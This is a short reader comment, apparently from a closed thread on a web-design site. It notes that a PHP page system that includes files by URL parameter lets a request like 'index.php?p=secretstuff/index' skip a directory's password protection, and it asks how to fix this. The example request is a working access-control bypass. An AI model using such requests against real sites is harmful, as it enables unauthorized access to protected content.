    index.php
    aboutus
    thisismusic
    secretstuff

    And you go to:

    http://www.domain.com/index.php?p=aboutus/index

    Everything goes well, seeing as how folders and directory structure are still compatable with this system. BUT if you have a password protected directory(secretstuff) and someone types:

    http://www.domain.com/index.php?p=secretstuff/index

    They will immediately gain acess bypassing the security check…Does anyone know a way around this? I am actually using it to my advantage right now, but it is useful knowledge.

    Jakks

Got something to say?

We have turned off comments, but you can see what folks had to say before we did so.

More from ALA